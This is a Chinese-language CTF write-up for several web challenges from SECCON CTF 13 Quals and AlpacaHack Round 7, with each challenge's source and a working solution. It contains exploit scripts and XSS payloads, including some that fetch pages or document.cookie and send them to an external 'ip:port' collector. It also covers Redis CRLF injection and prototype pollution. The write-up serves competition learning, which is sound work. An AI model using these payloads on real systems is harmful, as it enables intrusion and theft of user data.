SECCON CTF 13th Quals
Trillion_Bank
题目代码:
import fastify from "fastify";
import crypto from "node:crypto";
import fs from "node:fs/promises";
import db from "./db.js";
const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);
const TRILLION = 1_000_000_000_000;
const app = fastify();
app.register(await import("@fastify/jwt"), {
secret: crypto.randomBytes(32),
cookie: { cookieName: "session" },
});
app.register(await import("@fastify/cookie"));
const names = new Set();
const auth = async (req, res) => {
try {
await req.jwtVerify();
} catch {
return res.status(401).send({ msg: "Unauthorized" });
}
};
app.post("/api/register", async (req, res) => {
const name = String(req.body.name);
if (!/^[a-z0-9]+$/.test(name)) {
res.status(400).send({ msg: "Invalid name" });
return;
}
if (names.has(name)) {
res.status(400).send({ msg: "Already exists" });
return;
}
names.add(name);
const [result] = await db.query("INSERT INTO users SET ?", {
name,
balance: 10,
});
res
.setCookie("session", await res.jwtSign({ id: result.insertId }))
.send({ msg: "Succeeded" });
});
app.get("/api/me", { onRequest: auth }, async (req, res) => {
try {
const [{ 0: { balance } }] = await db.query("SELECT * FROM users WHERE id = ?", [req.user.id]);
req.user.balance = balance;
} catch (err) {
return res.status(500).send({ msg: err.message });
}
if (req.user.balance >= TRILLION) {
req.user.flag = FLAG; // 💰
}
res.send(req.user);
});
app.post("/api/transfer", { onRequest: auth }, async (req, res) => {
const recipientName = String(req.body.recipientName);
if (!names.has(recipientName)) {
res.status(404).send({ msg: "Not found" });
return;
}
const [{ 0: { id } }] = await db.query("SELECT * FROM users WHERE name = ?", [recipientName]);
if (id === req.user.id) {
res.status(400).send({ msg: "Self-transfer is not allowed" });
return;
}
const amount = parseInt(req.body.amount);
if (!isFinite(amount) || amount <= 0) {
res.status(400).send({ msg: "Invalid amount" });
return;
}
const conn = await db.getConnection();
try {
await conn.beginTransaction();
const [{ 0: { balance } }] = await conn.query("SELECT * FROM users WHERE id = ? FOR UPDATE", [
req.user.id,
]);
if (amount > balance) {
throw new Error("Invalid amount");
}
await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [
amount,
req.user.id,
]);
await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [
amount,
recipientName,
]);
await conn.commit();
} catch (err) {
await conn.rollback();
return res.status(500).send({ msg: err.message });
} finally {
db.releaseConnection(conn);
}
res.send({ msg: "Succeeded" });
});
app.get("/", async (req, res) => {
const html = await fs.readFile("index.html");
res.type("text/html; charset=utf-8").send(html);
});
app.listen({ port: 3000, host: "0.0.0.0" });
需要拿到1000000000000
。
转账时发送方根据id扣除余额,接收方根据name增加余额。虽然后端设置禁止注册同名用户,但调用mysql时并没有验证是否有同名用户。
数据库使用TEXT
类型保存name,TEXT
最大长度为65535,docker配置了mysql参数--sql_mode
为空,所以当数据发生溢出时不会报错直接截断。因此可以在mysql中插入同名用户。
exp:
import requests
import time
url = ''
base_name = 'z'*65535
def reg(name : str) -> tuple[str, str, str]:
res1 = requests.post(url=url + '/api/register', json={"name" : base_name})
jwt_1 = res1.headers.get('set-cookie').split('session=', 1)[-1].split(';', 1)[0]
res2 = requests.post(url=url + '/api/register', json={"name" : base_name + name})
jwt_2 = res2.headers.get('set-cookie').split('session=', 1)[-1].split(';', 1)[0]
res3 = requests.post(url=url + '/api/register', json={"name" : base_name + name + name})
jwt_3 = res3.headers.get('set-cookie').split('session=', 1)[-1].split(';', 1)[0]
return (jwt_1, jwt_2, jwt_3)
if __name__ == '__main__':
jwt_1, jwt_2, jwt_3 = reg('ajdjsbvkj')
balance = 10
while (balance * 2 - 10) < 1_000_000_000_000:
time.sleep(0.5)
res = requests.post(url=url + '/api/transfer', json={"recipientName" : base_name, "amount" : balance}, cookies={"session" : jwt_2})
res = requests.post(url=url + '/api/transfer', json={"recipientName" : base_name, "amount" : balance}, cookies={"session" : jwt_3})
balance = balance * 2
print(balance * 2 - 10, end='\r')
print(jwt_1)
self-ssrf
题目代码:
import express from "express";
const PORT = 3000;
const LOCALHOST = new URL(`http://localhost:${PORT}`);
const FLAG = Bun.env.FLAG!!;
const app = express();
app.use("/", (req, res, next) => {
if (req.query.flag === undefined) {
const path = "/flag?flag=guess_the_flag";
res.send(`Go to <a href="${path}">${path}</a>`);
} else next();
});
app.get("/flag", (req, res) => {
res.send(
req.query.flag === FLAG // Guess the flag
? `Congratz! The flag is '${FLAG}'.`
: `<marquee>🚩🚩🚩</marquee>`
);
});
app.get("/ssrf", async (req, res) => {
try {
const url = new URL(req.url, LOCALHOST);
if (url.hostname !== LOCALHOST.hostname) {
res.send("Try harder 1");
return;
}
if (url.protocol !== LOCALHOST.protocol) {
res.send("Try harder 2");
return;
}
url.pathname = "/flag";
url.searchParams.append("flag", FLAG);
res.send(await fetch(url).then((r) => r.text()));
} catch {
res.status(500).send(":(");
}
});
app.listen(PORT);
访问server需要带有flag参数,而ssrf也会添加一个flag参数,有重复键时express会用逗号拼接:
/?flag=1&flag=flag -> req.query.flag = '1,flag'
express解析query
先解析url,随后处理url.query,并赋值给req.query
// express.middleware.query
return function query(req, res, next){
if (!req.query) {
var val = parseUrl(req).query;
req.query = queryparse(val, opts);
}
next();
};
express解析query使用的是qs库。
queryparse代码如下:
// qs.parse
module.exports = function (str, opts) {
var options = normalizeParseOptions(opts);
if (str === '' || str === null || typeof str === 'undefined') {
return options.plainObjects ? Object.create(null) : {};
}
var tempObj = typeof str === 'string' ? parseValues(str, options) : str;
var obj = options.plainObjects ? Object.create(null) : {};
// Iterate over the keys and setup the new object
var keys = Object.keys(tempObj);
for (var i = 0; i < keys.length; ++i) {
var key = keys[i];
var newObj = parseKeys(key, tempObj[key], options, typeof str === 'string');
obj = utils.merge(obj, newObj, options);
}
if (options.allowSparse === true) {
return obj;
}
return utils.compact(obj);
};
parseValues
函数将各键的值解析,parseKeys
函数将键名解析,最后merge到一起。
parseValues函数关键代码如下:
var parseValues = function parseQueryStringValues(str, options) {
var obj = { __proto__: null };
var cleanStr = options.ignoreQueryPrefix ? str.replace(/^\?/, '') : str;
cleanStr = cleanStr.replace(/%5B/gi, '[').replace(/%5D/gi, ']');
var limit = options.parameterLimit === Infinity ? undefined : options.parameterLimit;
var parts = cleanStr.split(options.delimiter, limit);
var skipIndex = -1; // Keep track of where the utf8 sentinel was found
var i;
......
for (i = 0; i < parts.length; ++i) {
if (i === skipIndex) {
continue;
}
var part = parts[i];
var bracketEqualsPos = part.indexOf(']=');
var pos = bracketEqualsPos === -1 ? part.indexOf('=') : bracketEqualsPos + 1;
var key, val;
if (pos === -1) {
key = options.decoder(part, defaults.decoder, charset, 'key');
val = options.strictNullHandling ? null : '';
} else {
key = options.decoder(part.slice(0, pos), defaults.decoder, charset, 'key');
val = utils.maybeMap(
parseArrayValue(part.slice(pos + 1), options),
function (encodedVal) {
return options.decoder(encodedVal, defaults.decoder, charset, 'value');
}
);
}
......
if (part.indexOf('[]=') > -1) {
val = isArray(val) ? [val] : val;
}
var existing = has.call(obj, key);
if (existing && options.duplicates === 'combine') {
obj[key] = utils.combine(obj[key], val);
} else if (!existing || options.duplicates === 'last') {
obj[key] = val;
}
}
return obj;
};
options.duplicates默认是combine,所以重复键会用逗号拼接。
解析时先通过&
分割,然后再用=
分割键和值。
注意分割方式:
var bracketEqualsPos = part.indexOf(']=');
var pos = bracketEqualsPos === -1 ? part.indexOf('=') : bracketEqualsPos + 1;
当出现]=
时,优先使用]=
所在的索引。而内置库的URL是根据第一个=
分割的:
new URL('http://localhost:3000/asd?flag=]=asd');
// searchParams: URLSearchParams { 'flag' => ']=asd' }
解法
URL()
会对除了作为分隔符以外的=
进行URL编码。qs只会对[]
进行URL解码:
cleanStr = cleanStr.replace(/%5B/gi, '[').replace(/%5D/gi, ']');
当输入ssrf/?flag[=]=asd
时,会进行以下处理:
// qs第一次解析
req.query = {
"flag" : {
"=" : "asd"
}
}
// URL()解析
url = 'http://localhost:3000/flag?flag[=%5D%3Dasd&flag=SECCON'
// qs第二次解析
req.query = {
"flag" : "SECCON",
"flag[" : "]=asd"
}
Tanuki_Udon
一个blog系统,支持markdown格式,尝试xss。
markdown处理函数:
const escapeHtml = (content) => {
return content
.replaceAll('&', '&')
.replaceAll(`"`, '"')
.replaceAll(`'`, ''')
.replaceAll('<', '<')
.replaceAll('>', '>');
}
const markdown = (content) => {
const escaped = escapeHtml(content);
return escaped
.replace(/!\[([^"]*?)\]\(([^"]*?)\)/g, `<img alt="$1" src="$2"></img>`)
.replace(/\[(.*?)\]\(([^"]*?)\)/g, `<a href="$2">$1</a>`)
.replace(/\*\*(.*?)\*\*/g, `<strong>$1</strong>`)
.replace(/ $/mg, `<br>`);
}
module.exports = markdown;
问题在于replace执行是有顺序的,前一个的img标签的引号可以通过a标签破坏。
a标签的[]
内部匹配的是.*
,包容性强,可以用这个分割img的引号。
写一个测试脚本:
const escapeHtml = (content) => {
return content
.replaceAll('&', '&')
.replaceAll(`"`, '"')
.replaceAll(`'`, ''')
.replaceAll('<', '<')
.replaceAll('>', '>');
}
const markdown = (content) => {
var escaped = escapeHtml(content);
escaped = escaped.replace(/!\[([^"]*?)\]\(([^"]*?)\)/g, `<img alt="$1" src="$2"></img>`);
console.log(escaped);
escaped = escaped.replace(/\[(.*?)\]\(([^"]*?)\)/g, `<a href="$2">$1</a>`);
console.log(escaped);
escaped = escaped.replace(/\*\*(.*?)\*\*/g, `<strong>$1</strong>`);
console.log(escaped);
escaped = escaped.replace(/ $/mg, `<br>`);
console.log(escaped);
return escaped
}
content = ']()'
markdown(content)
/*
<img alt="" src="["></img>]()
<img alt="" src="<a href="">"></img></a>
<img alt="" src="<a href="">"></img></a>
<img alt="" src="<a href="">"></img></a>
*/
新生成的a标签的href属性逃逸出了双引号,且依然在img标签内。可以使用onerror执行js代码。
payload:
]( onerror=alert`1` class=)
/*
<img alt="" src="["></img>]( onerror=alert`1` class=)
<img alt="" src="<a href=" onerror=alert`1` class=">"></img></a>
<img alt="" src="<a href=" onerror=alert`1` class=">"></img></a>
<img alt="" src="<a href=" onerror=alert`1` class=">"></img></a>
*/
不过由于onerror处在markdown a标签的href属性位置,不能有)
,所以使用javascript协议,就可以通过url编码绕过字符限制了。
拿flag需要知道flag的noteid,要用bot的cookie访问/
获得,cookie是Http Only的,所以直接用fetch读取页面内容。
js payload:
var d;fetch("/").then((r) => r.text()).then((data) => {d = data});setTimeout(() => {fetch('http://ip:port?data=' + encodeURI(d))}, 500);
xss payload:
]( onerror=location=`javascript:var%20d%3Bfetch%28%22%2F%22%29%2Ethen%28%28r%29%20%3D%3E%20r%2Etext%28%29%29%2Ethen%28%28data%29%20%3D%3E%20%7Bd%20%3D%20data%7D%29%3BsetTimeout%28%28%29%20%3D%3E%20%7Bfetch%28%27http%3A%2F%2Fip%3Aport%3Fdata%3D%27%20%2B%20encodeURI%28d%29%29%7D%2C%20500%29%3B` class=)
拿到noteid直接访问即可。
JavaScrypto
又是一个note系统,服务器只保存AES CBC加密的密文和iv,key保存在用户的localstorage中。
index.html代码如下:
<html>
<head>
<title>JavaScrypto</title>
<meta charset="utf-8">
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.2.0/crypto-js.min.js" integrity="sha512-a+SUDuwNzXDvz4XrIcXHuCf089/iJAoN4lmrXJg18XnduKK6YlDHNRalv4yd1N40OKI80tFidF+rqTFKGPoWFQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/purl/2.3.1/purl.min.js" integrity="sha512-xbWNJpa0EduIPOwctW2N6KjW1KAWai6wEfiC3bafkJZyd0X3Q3n5yDTXHd21MIostzgLTwhxjEH+l9a5j3RB4A==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script src="note.js"></script>
</head>
<body>
<div class="flex flex-col items-center bg-orange-100 h-full font-mono gap-4">
<p class="p-4 text-xl text-blue-600">
JavaS<span class="text-yellow-600">crypto</span>
</p>
<pre id="note" class="p-4 bg-slate-100 rounded w-1/2 text-center"></pre>
<textarea name="noteInput" id="noteInput" class="w-1/2 p-4"></textarea>
<button id="createNote" class="p-2 bg-green-200 rounded">Create</button>
</div>
<script type="text/javascript">
const key = getOrCreateKey();
const id = purl().param().id || localStorage.getItem('currentId');
if (id && typeof id === 'string') {
readNote({
id,
key,
}).then(content => {
if (content) {
localStorage.setItem('currentId', id);
document.getElementById('note').innerHTML = content;
} else {
document.getElementById('note').innerHTML = 'Failed to read';
}
});
} else {
document.getElementById('note').innerHTML = 'No note';
}
const onCreate = () => {
const content = document.getElementById('noteInput').value;
createNote({
plaintext: content,
key,
}).then(id => {
localStorage.setItem('currentId', id);
location.href = `/?id=${id}`;
});
}
document.getElementById('createNote').addEventListener('click', onCreate);
</script>
</body>
</html>
note.js代码如下:
const getOrCreateKey = () => {
if (!localStorage.getItem('key')) {
const rawKey = CryptoJS.lib.WordArray.random(16);
localStorage.setItem('key', rawKey.toString(CryptoJS.enc.Base64));
}
return localStorage.getItem('key');
}
const encryptNote = ({ plaintext, key }) => {
const rawKey = CryptoJS.enc.Base64.parse(key);
const rawIv = CryptoJS.lib.WordArray.random(16);
const rawSalt = CryptoJS.lib.WordArray.random(16);
const rawCiphertext = CryptoJS.AES.encrypt(plaintext, rawKey, {
iv: rawIv,
salt: rawSalt,
}).ciphertext;
return {
iv: rawIv.toString(CryptoJS.enc.Base64),
ciphertext: rawCiphertext.toString(CryptoJS.enc.Base64),
}
}
const decryptNote = ({ key, iv, ciphertext }) => {
const rawKey = CryptoJS.enc.Base64.parse(key);
const rawIv = CryptoJS.enc.Base64.parse(iv);
const rawPlaintext = CryptoJS.AES.decrypt(ciphertext, rawKey, {
iv: rawIv,
});
return rawPlaintext.toString(CryptoJS.enc.Latin1);
}
const createNote = async ({ plaintext, key }) => {
const cipherParams = encryptNote({ plaintext, key });
const { id } = await fetch('/note', {
method: 'POST',
body: JSON.stringify(cipherParams),
headers: {
'content-type': 'application/json'
}
}).then(r => r.json());
return id;
}
const readNote = async ({ id, key }) => {
const cipherParams = await fetch(`/note/${id}`).then(r => r.json());
const { iv, ciphertext } = cipherParams;
return decryptNote({ key, iv, ciphertext });
}
使用purl库解析url提取id,2.3.1版本存在原型链污染漏洞。
payload:
/?__proto__[asd]=asd#__proto__[test]=test
bot会将flag保存在note中,需要知道id来获取密文和iv,以及key来解密flag。
bot访问note时,只会用自己的key来解密。要通过原型链污染来使bot可以查看我们写的内容。
题目使用了crypto-js进行AES加解密,base64解密时可以污染_reverseMap,https://github.com/brix/crypto-js/blob/develop/src/enc-base64.js#L76
base64解密代码:
parse: function (base64Str) {
// Shortcuts
var base64StrLength = base64Str.length;
var map = this._map;
var reverseMap = this._reverseMap;
if (!reverseMap) {
reverseMap = this._reverseMap = [];
for (var j = 0; j < map.length; j++) {
reverseMap[map.charCodeAt(j)] = j;
}
}
// Ignore padding
var paddingChar = map.charAt(64);
if (paddingChar) {
var paddingIndex = base64Str.indexOf(paddingChar);
if (paddingIndex !== -1) {
base64StrLength = paddingIndex;
}
}
// Convert
return parseLoop(base64Str, base64StrLength, reverseMap);
},
_map: 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
};
function parseLoop(base64Str, base64StrLength, reverseMap) {
var words = [];
var nBytes = 0;
for (var i = 0; i < base64StrLength; i++) {
if (i % 4) {
var bits1 = reverseMap[base64Str.charCodeAt(i - 1)] << ((i % 4) * 2);
var bits2 = reverseMap[base64Str.charCodeAt(i)] >>> (6 - (i % 4) * 2);
var bitsCombined = bits1 | bits2;
words[nBytes >>> 2] |= bitsCombined << (24 - (nBytes % 4) * 8);
nBytes++;
}
}
return WordArray.create(words, nBytes);
}
可以通过污染_reverseMap来影响解密结果。由于key的值不确定,所以一般的变表解密出来的key依然不确定。
只有通过将表中所有字符都指向一个相同的数字。比如都指向0
,此时key和iv解密后都是0。这样key就确定了。
还要保证ciphertext能正常解密,base64表需要有64个字符,而ascii码有128个字符,所以ascii码可以容纳两张不同的base64表。
生成新表:
def gentable(table_org : str) -> str:
table_new = ""
for i in range(128):
c = chr(i)
if c in table_org:
continue
table_new = table_new + c
return table_new
table_org = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
table_new = gentable(table_org)
将xss payload用空的key和iv进行AES加密然后用新的表编码即可。值得注意的是,通过purl进行污染时新表中不能包含[
和=
,所以其实新表是缺失了两个字符的,所以需要fuzz出一个合适的xss payload。
bot访问我们report的url时会将传入的id覆盖,所以需要通过xss让bot重定向到/
再加载一遍flag note,然后外带。
payload:
<img src onerror='w=window.open("/");setTimeout(()=>{location.href="/flag?FLAG="+w.document.getElementById("note").innerHTML},2000)'>
AlpacaHack Round 7
Treasure Hunt
服务器代码如下:
app.use((req, res, next) => {
res.type("text");
if (/[flag]/.test(req.url)) {
res.status(400).send(`Bad URL: ${req.url}`);
return;
}
next();
});
app.use(express.static("public"));
flag文件名生成:
FLAG_PATH=./public/$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)/f/l/a/g/./t/x/t
对于express来说,访问静态文件时,当某个文件夹存在时会自动加上/
,也就是说如果/public/c文件夹存在:
GET /c -> 301 location: /c/
并且允许url编码。所以可以一层层爆破出文件名。
Alpaca Poll
flag存储在redis中。
关键路由如下:
app.post('/vote', async (req, res) => {
let animal = req.body.animal || 'alpaca';
// animal must be a string
animal = animal + '';
// no injection, please
animal = animal.replace('\r', '').replace('\n', '');
try {
return res.json({
[animal]: await vote(animal)
});
} catch {
return res.json({ error: 'something wrong' });
}
});
app.get('/votes', async (req, res) => {
return res.json(await getVotes());
});
redis相关代码:
import net from 'node:net';
function connect() {
return new Promise(resolve => {
const socket = net.connect('6379', 'localhost', () => {
resolve(socket);
});
});
}
function send(socket, data) {
console.info('[send]', JSON.stringify(data));
socket.write(data);
return new Promise(resolve => {
socket.on('data', data => {
console.info('[recv]', JSON.stringify(data.toString()));
resolve(data.toString());
})
});
}
export async function vote(animal) {
const socket = await connect();
const message = `INCR ${animal}\r\n`;
const reply = await send(socket, message);
socket.destroy();
return parseInt(reply.match(/:(\d+)/)[1], 10); // the format of response is like `:23`, so this extracts only the number
}
const ANIMALS = ['dog', 'cat', 'alpaca'];
export async function getVotes() {
const socket = await connect();
let message = '';
for (const animal of ANIMALS) {
message += `GET ${animal}\r\n`;
}
const reply = await send(socket, message);
socket.destroy();
let result = {};
for (const [index, match] of Object.entries([...reply.matchAll(/\$\d+\r\n(\d+)/g)])) {
result[ANIMALS[index]] = parseInt(match[1], 10);
}
return result;
}
export async function init(flag) {
const socket = await connect();
let message = '';
for (const animal of ANIMALS) {
const votes = animal === 'alpaca' ? 10000 : Math.random() * 100 | 0;
message += `SET ${animal} ${votes}\r\n`;
}
message += `SET flag ${flag}\r\n`; // please exfiltrate this
await send(socket, message);
socket.destroy();
}
vote函数存在注入。但getVotes只能解析数字:
let result = {};
for (const [index, match] of Object.entries([...reply.matchAll(/\$\d+\r\n(\d+)/g)])) {
result[ANIMALS[index]] = parseInt(match[1], 10);
}
return result;
查了查文档发现redis string可以进行异或运算,https://redis.io/docs/latest/commands/bitop/
思路就是先通过异或将flag第一个字符转为数字,然后就能成功通过getVotes获得回显,再异或一次就能获得第一个字符,然后再将flag第二个字符也异或成数字,以此类推。
复制flag
copy flag flagcopy
异或并复制到animal
del alpaca
set xorstr "xxx"
BITOP XOR alpaca flagcopy xorstr
检查是否有数字 /votes查看第三个数字是否成功解析,如果有,保存下来与发送的xorstr异或获得flag
但是有个坑,似乎数字太大会溢出,所以flag后面一段得不到。
改进以下流程,假设已经确定的flag部分:flag{abcd
,对应的xor后的数字为123456789,对应的xorstr为qwertyuio
,此时'qwertyuio' ^ 'flag{abcd' = '123456789'
,我们可以计算出一个新的xorstr使得new_xorstr ^ 'flag{abcd' = '000000000'
。
此时我们再尝试爆破第十个字符,此时0000000001
会解析为1,不会再溢出了。
exp:
import requests
import string
import json
url = 'http://'
cha = string.ascii_letters + string.digits
copy_flag_payload = 'dog\r\n\r\ncopy flag flagcopy'
fuzz_flag_payload = 'dog\r\n\r\ndel alpaca\r\nset xorstr "{}"\r\nBITOP XOR alpaca flagcopy xorstr\r\nget alpaca'
def check_votes():
res = requests.get(url=url + '/votes')
res = json.loads(res.text)
if 'alpaca' in res:
return str(res['alpaca'])
return None
def fuzz_flag():
data = {
"animal" : copy_flag_payload
}
requests.post(url=url + '/vote', data=data)
xored_flag = ''
flag = ''
while True:
if len(flag) > 0 and '}' in flag:
break
for i in cha:
print(xored_flag + i, end='\r')
data = {
"animal" : fuzz_flag_payload.format(xored_flag + i)
}
requests.post(url=url + '/vote', data=data)
xored_char = check_votes()
if xored_char == None:
continue
elif len(xored_char) < 1 or xored_char == '0':
continue
xor_char = str(xored_char)[0]
flag = flag + chr(ord(xor_char) ^ ord(i))
xored_flag = xored_flag + chr(ord(flag[-1]) ^ ord('0'))
print(flag)
print(xored_flag)
break
print(flag)
fuzz_flag()
可能是因为反斜杠的原因,flag中多了一个l
minimal-waf
xss题
flag在bot cookie中,httponly为false。可以控制bot访问任意url。
express代码如下:
express()
.get("/", (req, res) => res.type("html").send(indexHtml))
.get("/view", (req, res) => {
const html = String(req.query.html ?? "?").slice(0, 1024);
if (
req.header("Sec-Fetch-Site") === "same-origin" &&
req.header("Sec-Fetch-Dest") !== "document"
) {
// XSS detection is unnecessary because it is definitely impossible for this request to trigger an XSS attack.
res.type("html").send(html);
return;
}
if (/script|src|on|html|data|&/i.test(html)) {
res.type("text").send(`XSS Detected: ${html}`);
} else {
res.type("html").send(html);
}
})
.listen(3000);
直接通过url访问Sec-Fetch-Dest
时document。通过html标签访问即可。
思路是先直接访问/view
,再通过iframe或embed同源嵌入/view
页面,此时无waf限制,可以触发xss。
<embed code="http://localhost:3000/view?html=" type="text/html">
html中属性会自动去除部分特殊字符,使用换行绕过即可。
payload:
%3Cembed%20code%3D%22%2Fview%3Fht%0Aml%3D%253Cscr%0Aipt%253Efetch%2528%2527http%253A%252F%252Fip%253Aport%252F%253Fflag%253D%2527%2520%252B%2520encodeURI%2528document%252Ecookie%2529%2529%253B%253C%252Fscr%0Aipt%253E%22%20type%3Dtext%2Fht%0Aml%3E